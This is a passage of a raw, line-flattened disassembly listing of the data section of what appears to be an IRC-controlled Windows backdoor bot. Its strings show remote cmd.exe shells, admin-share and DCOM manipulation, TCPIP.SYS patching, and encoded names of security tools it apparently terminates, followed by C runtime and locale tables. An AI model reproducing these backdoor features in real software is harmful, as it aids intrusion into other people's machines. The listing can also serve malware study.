XREF: sub_412AC3+21Eo align 4 aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_412AC3+246o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_412AC3+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_412AC3+299o align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_412AC3+2C4o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_412AC3+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412AC3+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_412AC3+33Fo align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_412AC3+36Ao align 4 unk_443F14 db 2Dh ; - ; DATA XREF: sub_412AC3+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_412E91+29o unk_443F5C db 2Dh ; - ; DATA XREF: sub_412E91+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aS_29 db ' %S',0 ; DATA XREF: sub_412E91:loc_412F4Bo align 4 unk_443F88 db 2Dh ; - ; DATA XREF: sub_412E91:loc_412F7Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_412E91+145o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413007+3Bo align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413007:loc_41304Co align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_413007:loc_413056o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413007:loc_413060o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413007:loc_41306Ao align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413007:loc_413074o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413007+89o align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413007:loc_41309Ao align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_413007:loc_4130A4o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413007:loc_4130ABo aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_413007:loc_4130B2o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_413007+CFo db ' the domain.',0 align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413007:loc_4130DDo align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413007:loc_4130E4o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_413007:loc_4130EBo db 'ord policy requirement.)',0 align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413007:loc_413108o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413007:loc_41310Fo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413007:loc_413116o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413007:loc_41311Do align 10h aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413007:loc_413124o align 10h unk_444290 db 2Dh ; - ; DATA XREF: sub_41313B+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_4442B8 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_41313B+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h dword_4442E4 dd 32h dword_4442E8 dd 622E7325h, 6B63hdword_4442F0 dd 5F636673h, 642E736Fh, 6C6Chbyte_4442FC db 4Ch, 0 ; DATA XREF: .data:004132EAo word_4442FE dw 16h ; DATA XREF: .data:004132F8o byte_444300 db 6, 0 ; DATA XREF: .data:004132FFo word_444302 dw 0E8h ; DATA XREF: .data:0041330Do off_444304 dd offset loc_430002+1 ; DATA XREF: .data:00413314o byte_444308 db 0FCh, 0 ; DATA XREF: .data:00413330o word_44430A dw 5 ; DATA XREF: .data:00413337o byte_44430C db 0E8h, 0 ; DATA XREF: .data:00413345o word_44430E dw 3 ; DATA XREF: .data:0041334Co aXSg: ; DATA XREF: .data:00413361o unicode 0, <åÈ™GÈ>,0 aRB db 'r+b',0 ; DATA XREF: .data:00413407o aCanNotOpenTcpi db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .data:00413427o aTcpip_sysFixed db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .data:00413732o align 8 dword_444368 dd 7530h dword_44436C dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh ; DATA XREF: .data:off_4444B8o ; .data:004444BCo dd 6578652Eh, 0 dword_444388 dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h ; DATA XREF: .data:004444C0o ; .data:004444C4o dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h dd 6578h, 6176616Eh, 32337770h, 6578652Eh, 0 dword_4443C8 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h ; DATA XREF: .data:004444D4o dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh dd 6578652Eh, 0 dword_44445C dd 756E6977h, 652E6470h, 6578h, 736E6977h, 652E7379h, 6578h ; DATA XREF: .data:004444FCo ; .data:00444500o dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0 dword_44448C dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h ; DATA XREF: .data:0044450Co dd 65h, 72313169h, 346E3435h, 6578652Eh, 0 off_4444B8 dd offset dword_44436C ; DATA XREF: sub_4137F3+D1r dd offset dword_44436C+0Ch dd offset dword_444388 dd offset dword_444388+0Ch dd offset dword_444388+18h dd offset dword_444388+24h dd offset dword_444388+30h dd offset dword_4443C8 dd offset dword_4443C8+10h dd offset dword_4443C8+28h dd offset dword_4443C8+3Ch dd offset dword_4443C8+48h dd offset dword_4443C8+54h dd offset dword_4443C8+60h dd offset dword_4443C8+6Ch dd offset dword_4443C8+78h dd offset dword_4443C8+84h dd offset dword_44445C dd offset dword_44445C+0Ch dd offset dword_44445C+18h dd offset dword_44445C+24h dd offset dword_44448C dd offset dword_44448C+10h dd offset dword_44448C+1Ch aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+5Ao align 4 aSD db ' %s (%d)',0 ; DATA XREF: sub_4137F3+17Ao align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4137F3+188o align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_4137F3+19Co align 10h aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+204o align 4 unk_444564 db 2Dh ; - ; DATA XREF: sub_413A33+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_444584 db 2Dh ; - ; DATA XREF: sub_413A33+86o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_4445A8 db 2Dh ; - ; DATA XREF: sub_413A33:loc_413AC0o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413BD0+33o aS_19 db '%s',0 ; DATA XREF: sub_413BD0+4Co align 10h unk_4445E0 db 2Dh ; - ; DATA XREF: sub_413C57:loc_413D3Do db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_444610 db 2Dh ; - ; DATA XREF: sub_413C57+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_444638 db 2Dh ; - ; DATA XREF: sub_413C57:loc_413D89o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_413DAC+20o unk_444670 db 2Dh ; - ; DATA XREF: sub_413DAC+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 unk_444694 db 2Dh ; - ; DATA XREF: sub_413DAC+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 aIpc db 'IPC$',0 ; DATA XREF: .data:off_4446E8o align 10h aAdmin_3 db 'ADMIN$',0 ; DATA XREF: .data:004446F0o align 4 aC_0 db 'C$',0 ; DATA XREF: .data:004446F8o align 4 aC_1 db 'C:\',0 ; DATA XREF: .data:004446FCo aD_2 db 'D$',0 ; DATA XREF: .data:00444700o align 4 aD_3 db 'D:\',0 ; DATA XREF: .data:00444704o off_4446E8 dd offset aIpc ; DATA XREF: sub_413FC4:loc_414179r ; sub_413FC4+1C3r ... ; "IPC$" dword_4446EC dd 0 dd offset aAdmin_3 ; "ADMIN$" align 8 dd offset aC_0 ; "C$" dd offset aC_1 ; "C:\\" dd offset aD_2 ; "D$" dd offset aD_3 ; "D:\\" word_444708 dw 4Eh ; DATA XREF: sub_413FC4+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_413FC4+54o align 4 dword_444718 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0 align 4 dword_44473C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_413FC4:loc_414037o dd 62617369h, 2E64656Ch, 0 dword_44475C dd 234032Dh, 75636573h, 3026572haFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_413FC4+EDo align 10h dword_4447A0 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 dword_4447DC dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_444810 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_44484C dd 234032Dh, 75636573h, 3026572haAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_44487C dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_4448A0 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_4448CC dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_4448F0 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_44491C dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0 align 4 dword_444944 dd 234032Dh, 75636573h, 3026572haNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_444974 dw 59h ; DATA XREF: sub_4142EA+38r align 4 aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_4142EA+54o align 4 dword_444984 dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0 align 4 dword_4449A8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_4142EA:loc_41435Do dd 6C62616Eh, 2E6465h dword_4449C4 dd 234032Dh, 75636573h, 3026572haFailedToOpen_1 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_4142EA+EDo align 4 dword_444A08 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_444A48 dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_444A80 dd 234032Dh, 75636573h, 3026572haFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0 dword_444ABC dd 234032Dh, 75636573h, 3026572haAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_444AEC dd 234032Dh, 75636573h, 3026572haShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_444B0C dd 234032Dh, 75636573h, 3026572haFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 aC_2 db '%c$',0 ; DATA XREF: sub_4142EA+21Bo aC_3 db '%c:\',0 ; DATA XREF: sub_4142EA+22Co align 10h dword_444B40 dd 234032Dh, 75636573h, 3026572haShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 dword_444B60 dd 234032Dh, 75636573h, 3026572haFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 dword_444B88 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0 dword_444BAC dd 234032Dh, 75636573h, 3026572haNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_414606+39o a95 db '95',0 ; DATA XREF: sub_4147AC+46o align 10h aNt db 'NT',0 ; DATA XREF: sub_4147AC+5Ao align 4 a98 db '98',0 ; DATA XREF: sub_4147AC+6Co align 4 aMe_0 db 'ME',0 ; DATA XREF: sub_4147AC+7Eo align 4 a2k db '2K',0 ; DATA XREF: sub_4147AC+98o align 10h aXp_2 db 'XP',0 ; DATA XREF: sub_4147AC+AAo align 4 a2003_0 db '2003',0 ; DATA XREF: sub_4147AC+BAo align 4 a??? db '???',0 ; DATA XREF: sub_4147AC:loc_41486Fo aSS_6 db '%s (%s)',0 ; DATA XREF: sub_4147AC+EBo word_444C18 dw 3Fh ; DATA XREF: sub_4147AC:loc_4148AEr align 4 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4147AC:loc_414910o align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_4147AC+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_4147AC+1AEo align 10h dword_444C50 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_4147AC+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_444D2C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_444D3C dd 6C616944h, 70752Dhoff_444D44 dd offset dword_4E414C ; DATA XREF: sub_414A60:loc_414ACDo off_444D48 dd offset loc_412F4B+3 ; DATA XREF: sub_414A60+77o off_444D4C dd offset loc_412F4B+3 ; DATA XREF: sub_414A60+88o dword_444D50 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_414A60+AEo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh dword_444D94 dd 5Ch dword_444D98 dd 2A2F2Ah dword_444D9C dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_414C86+192o dd 64657469h, 2Eh unk_444DB8 db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E1Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_444DF4 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_414C86+1A6o dd 4C525520h, 2Eh unk_444E10 db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E3Co db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 unk_444E3C db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E43o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h dword_444E70 dd 1 ; sub_4151D0+F2r ... dword_444E74 dd 5Ch ; sub_4151D0:loc_415385r ... dword_444E78 dd 0FFFFFFFFh ; sub_415640+9Er ... byte_444E7C db 0FDh ; DATA XREF: sub_4151D0+2B7r ; sub_4151D0+2D1r ... byte_444E7D db 0DDh ; DATA XREF: sub_415CD0+257r ; sub_415CD0+39Br ... byte_444E7E db 0CDh ; DATA XREF: sub_4151D0+2F1r ; sub_415640+377r align 10h off_444E80 dd offset aFree ; DATA XREF: sub_415CD0+177r ; sub_415CD0+1DDr ... ; "Free" dd offset dword_4344AC+20h dd offset dword_4344AC+1Ch dd offset dword_4344AC+14h dd offset dword_4344AC+0Ch align 10h dword_444EA0 dd 19930520h, 3 dup(0) ; sub_4191C6+2o dword_444EB0 dd 173Fh dd 9875h, 9873h off_444EBC dd offset sub_419870 ; DATA XREF: sub_417AB0+3r ; sub_417AB0+Cr dd offset sub_4198A0 dd offset sub_4198A0 dword_444EC8 dd 1B3Fh align 10h off_444ED0 dd offset sub_417B10 ; DATA XREF: sub_41AC70+22r dword_444ED4 dd 2 ; sub_428880+86r ... off_444ED8 dd offset dword_4DE680 ; DATA XREF: sub_41ACD0+B3o ; sub_41AE20+3o ... align 10h dd offset dword_4DE680 dd 101h dword_444EE8 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_444EF8 dd 3 dup(0) ; sub_4226D0:loc_422723o dd 2, 0FFFFFFFFh, 3 dup(0) dword_444F18 dd 3 dup(0) ; sub_4226D0:loc_422735o dd 2, 0FFFFFFFFh, 83h dup(0) dword_445138 dd 8 dup(0) ; sub_41AE90+Co dword_445158 dd 0FFFFFFFFh ; sub_41B010+108o ... dword_44515C dd 2 ; .data:0041AF49r ... dd 2 dup(4) dword_445168 dd 0FFFFFFFFh ; .data:0041AF9Cr ... dd 2 dup(0FFFFFFFFh) off_445174 dd offset aWarning ; DATA XREF: sub_41B3A0+284r ; "Warning" dd offset aError ; "Error" dd offset dword_434D7C+8 dword_445180 dd 0 ; sub_41BBE0+44r ... off_445184 dd offset dword_4DDFF0 ; DATA XREF: sub_41BBA0+29r ; sub_41BBE0+8Fr dd 7 dup(0) off_4451A4 dd offset dword_4DE020 ; DATA XREF: sub_41BBA0+1Cr ; sub_41BBE0:loc_41BC49r dd 3 dup(0) off_4451B4 dd offset dword_4DE038 ; DATA XREF: sub_41BBA0+Fr ; sub_41BBE0+75r dd 3 dup(0) off_4451C4 dd offset dword_4DE008 ; DATA XREF: sub_41BBA0+3r ; sub_41BBE0+82r dd 7 dup(0) dd 9330D8h, 16h dup(0) off_445240 dd offset sub_41C010 ; DATA XREF: sub_4151D0+79r ; sub_415640+C1r ... align 8 off_445248 dd offset off_445248 ; DATA XREF: sub_41E750+Fo ; sub_41E750+7Ao ... off_44524C dd offset off_445248 ; DATA XREF: sub_41E750:loc_41E7E6r ; sub_41E750+9Fw ... dd offset dword_445260 dd offset dword_445260 dword_445258 dd 0FFFFFFFFh ; sub_41E930:loc_41E997w dd 0FFFFFFFFh dword_445260 dd 0F0h, 0F1h, 13Ah dup(0) ; .data:00445254o dword_445750 dd 6C6h dup(0) off_447268 dd offset off_445248 ; DATA XREF: sub_41E930+17r ; sub_41E930+28w ... dword_44726C dd 1E0h ; sub_41C020+146r ... dd 10h off_447274 dd offset word_44727E ; DATA XREF: sub_417160+7Cr ; sub_417860+2Dr ... off_447278 dd offset word_44727E ; DATA XREF: .data:0042D124w ; .data:0042D1DBw db 2 dup(0) word_44727E dw 20h ; DATA XREF: .data:loc_42D1D1o ; .data:0042D1DBo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_447480 dd 1 ; sub_417860:loc_417866r ... byte_447484 db 2Eh ; DATA XREF: sub_4236C0:loc_424547r ; sub_4236C0+ED2r ... align 4 dword_447488 dd 1 ; sub_42C6F0+296w align 10h off_447490 dd offset aNull_1 ; DATA XREF: sub_4209A0:loc_420DE2r ; sub_4209A0+57Cr ; "(null)" off_447494 dd offset aNull_0 ; DATA XREF: sub_4209A0+514r ; "(null)" dword_447498 dd 4 ; sub_421840+14r ... align 10h byte_4474A0 db 1 ; DATA XREF: sub_421AF0+12Fr db 2, 4, 8 align 8 dword_4474A8 dd 3A4h word_4474AC dw 8260h ; DATA XREF: sub_421AF0+192r dw 8279h dd 21h, 0 dword_4474B8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_447598 dd 1 dword_44759C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 42A4F0h, 3 dup(0) off_447710 dd offset sub_423580 ; DATA XREF: sub_423630+2Dr ; sub_423630+3Dr dword_447714 dd 0D2D0920h, 5Dhdword_44771C dd 5Dh dword_447720 dd 14h off_447724 dd offset aExp ; DATA XREF: sub_425770+2Er ; "exp" dd 1Dh, 4352E4h, 1Ah, 4352E0h, 1Bh, 4352D8h, 1Fh, 4352D0h dd 13h, 4352C8h, 21h, 4352C0h, 0Eh, 4352B8h, 0Dh, 4352B0h dd 0Fh, 4352A8h, 10h, 4352A0h, 5, 435298h, 1Eh, 435294h dd 12h, 435290h, 20h, 43528Ch, 0Ch, 435284h, 0Bh, 43527Ch dd 15h, 435274h, 1Ch, 43526Ch, 19h, 435264h, 11h, 43525Ch dd 18h, 435254h, 16h, 43524Ch, 17h, 435244h, 22h, 435240h dd 23h, 43523Ch, 24h, 435238h dbl_4477F8 dq 1.797693134862316e308 ; DATA XREF: sub_425310+E4r ; sub_425310:loc_425407r ... dd 0 dd 0FFF80000h dbl_447808 dq 1.797693134862316e308 ; DATA XREF: sub_425310:loc_42544Ar ; sub_425310+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_447820 dt 2.3562723457267347066e313 ; DATA XREF: sub_425B60+13r ; sub_425B60+2Ar align 4 tbyte_44782C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_425B60+41r align 4 off_447838 dd offset sub_426350 ; DATA XREF: sub_4198B0+3w ; sub_4209A0+6ADr off_44783C dd offset sub_425D60 ; DATA XREF: sub_4198B0+Dw ; sub_4209A0+6F1r off_447840 dd offset sub_425E70 ; DATA XREF: sub_4198B0+17w ; sub_4236C0+1138r off_447844 dd offset sub_425CB0 ; DATA XREF: sub_4198B0+21w ; sub_4209A0+6CFr off_447848 dd offset sub_425E40 ; DATA XREF: sub_4198B0+2Bw off_44784C dd offset sub_426350 ; DATA XREF: sub_4198B0+35w dword_447850 dd 43h ; .data:00447970o ... dword_447854 dd 43h, 20h dup(0) ; sub_4271E0+117o ... dword_4478D8 dd 43h, 21h dup(0) ; sub_4271E0+FCo ... off_447960 dd offset aLc_all ; DATA XREF: .data:00426CCFr ; .data:00426CE8r ... ; "LC_ALL" dword_447964 dd 0 ; .data:00426E70r ... off_447968 dd offset sub_427370 ; DATA XREF: sub_426F40+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_447850 dd offset sub_42D220 dd offset aLc_ctype ; "LC_CTYPE" off_44797C dd offset dword_447850 ; DATA XREF: sub_4270E0+F0r ; --------------------------------------------------------------------------- or dh, 42h add [ebx+edx*2+43h], al add [eax+78h], dl inc esp add [eax], ah retf 42h ; --------------------------------------------------------------------------- dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_447850 dd offset sub_42C6F0 dd offset aLc_time ; "LC_TIME" dd offset dword_447850 dd offset sub_42BD70 dword_4479A8 dd 0C0000005h, 0Bh, 0 ; .data:00421A8Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_447A20 dd 3 ; sub_427900:loc_4279ABr ... dword_447A24 dd 7 ; sub_429130+17Dr dword_447A28 dd 78h ; .data:00428FC6r dword_447A2C dd 0Ah ; sub_427AC0:loc_427AF2r ... dword_447A30 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_420720:loc_420919o dword_447A58 dd 2 ; sub_428880+3Dr ... off_447A5C dd offset aR6002FloatingP ; DATA XREF: sub_428880+56r ; sub_428880+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43561Ch, 9, 4355F0h, 0Ah, 4355CCh, 10h, 4355A0h dd 11h, 435570h, 12h, 43554Ch, 13h, 435520h, 18h, 4354E8h dd 19h, 4354C0h, 1Ah, 435488h, 1Bh, 435450h, 1Ch, 435428h dd 78h, 435418h, 79h, 435408h, 7Ah, 4353F8h, 0FCh, 4353F4h dd 0FFh, 4353E4h, 2 dup(0) dword_447AF0 dd 2694h ; .data:00424C4Fr ... align 8 dword_447AF8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_447B10 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2 dup(0)dword_447B30 dd 40Ah ; sub_42DDD0+147r a040a db '040a',0 ; DATA XREF: sub_42DDD0+9Ao align 4 off_447B3C dd offset aSpanishTraditi ; DATA XREF: sub_42DDD0+ABr ; "Spanish - Traditional Sort" dword_447B40 dd 505345h off_447B44 dd offset aSpain ; DATA XREF: sub_42DDD0+CDr ; "Spain" dword_447B48 dd 505345h dword_447B4C dd 303538h, 0 a1252 db '1252',0 ; DATA XREF: sub_42DDD0+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415245+1 dd offset aFrance ; "France" dd offset loc_415245+1 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd 515545h, 4358D8h, 505345h, 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" 